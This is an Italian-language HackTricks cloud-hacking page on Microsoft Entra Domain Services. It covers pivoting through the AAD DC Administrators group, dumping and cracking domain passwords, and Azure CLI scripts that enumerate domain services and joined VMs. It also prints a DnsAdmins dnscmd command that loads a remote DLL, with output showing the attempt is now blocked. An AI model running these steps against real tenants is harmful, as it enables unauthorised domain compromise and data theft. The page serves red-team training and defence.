Az - Microsoft Entra Domain Services
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Servizi di Dominio
Microsoft Entra Domain Services consente di implementare un Active Directory in Azure senza la necessità di gestire i Domain Controllers (in realtà non hai nemmeno accesso a essi).
Il suo obiettivo principale è consentire di eseguire applicazioni legacy nel cloud che non possono utilizzare metodi di autenticazione moderni, o dove non si desidera che le ricerche nel directory tornino sempre a un ambiente AD DS on-premises.
Nota che per sincronizzare gli utenti generati in Entra ID (e non sincronizzati da altri active directory) con il servizio di dominio AD è necessario cambiare la password dell'utente con una nuova in modo che possa essere sincronizzata con il nuovo AD. In realtà, l'utente non viene sincronizzato da Microsoft Entra ID ai Servizi di Dominio fino a quando la password non viene cambiata.
warning
Anche se stai creando un nuovo dominio active directory, non sarai in grado di gestirlo completamente (a meno di sfruttare alcune misconfigurazioni), il che significa che per impostazione predefinita, ad esempio, non puoi creare utenti direttamente nell'AD. Li crei synchronizzando gli utenti da Entra ID. Puoi indicare di sincronizzare tutti gli utenti (anche quelli sincronizzati da altri AD on-premise), solo gli utenti cloud (utenti creati in Entra ID), o anche filtrarli ulteriormente.
note
In generale, a causa della mancanza di flessibilità nella configurazione del nuovo dominio e del fatto che gli AD sono solitamente già on-premise, questa non è l'integrazione principale tra Entra ID e AD, ma è comunque interessante sapere come comprometterlo.
Pivoting
I membri del gruppo generato AAD DC Administrators ricevono permessi di amministratore locale su VM che sono collegate al dominio gestito (ma non nei domain controllers) perché vengono aggiunti al gruppo degli amministratori locali. I membri di questo gruppo possono anche utilizzare Remote Desktop per connettersi da remoto a VM collegate al dominio, e sono anche membri dei gruppi:
- Denied RODC Password Replication Group: Questo è un gruppo che specifica utenti e gruppi le cui password non possono essere memorizzate nella cache sui RODC (Read-Only Domain Controllers).
- Group Policy Creators Owners: Questo gruppo consente ai membri di creare Group Policies nel dominio. Tuttavia, i suoi membri non possono applicare group policies a utenti o gruppi o modificare GPO esistenti, quindi non è così interessante in questo ambiente.
- DnsAdmins: Questo gruppo consente di gestire le impostazioni DNS ed è stato abusato in passato per escalare privilegi e compromettere il dominio, tuttavia dopo aver testato l'attacco in questo ambiente è stato verificato che la vulnerabilità è stata corretta:
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5
Nota che per concedere queste autorizzazioni, all'interno dell'AD il gruppo AAD DC Administrators è reso membro dei gruppi precedenti, e anche il GPO AADDC Computers GPO aggiunge come Amministratori Locali tutti i membri del gruppo di dominio AAD DC Administrators.
Il pivoting da Entra ID a un AD creato con Domain Services è semplice, basta aggiungere un utente nel gruppo AAD DC Administrators, accedere via RDP a qualsiasi/tutte le macchine nel dominio e sarai in grado di rubare dati e anche compromettere il dominio.
Tuttavia, il pivoting dal dominio a Entra ID non è così facile poiché nulla del dominio viene sincronizzato in Entra ID. Tuttavia, controlla sempre i metadati di tutte le VM unite poiché le loro identità gestite assegnate potrebbero avere permessi interessanti. Inoltre, dumpa tutte le password degli utenti dal dominio e prova a crackerle per poi accedere a Entra ID / Azure.
note
Nota che in passato sono state trovate altre vulnerabilità in questo AD gestito che hanno permesso di compromettere i DC, come questa. Un attaccante che compromette il DC potrebbe molto facilmente mantenere la persistenza senza che gli amministratori di Azure se ne accorgano o siano in grado di rimuoverla.
Enumerazione
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"
# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud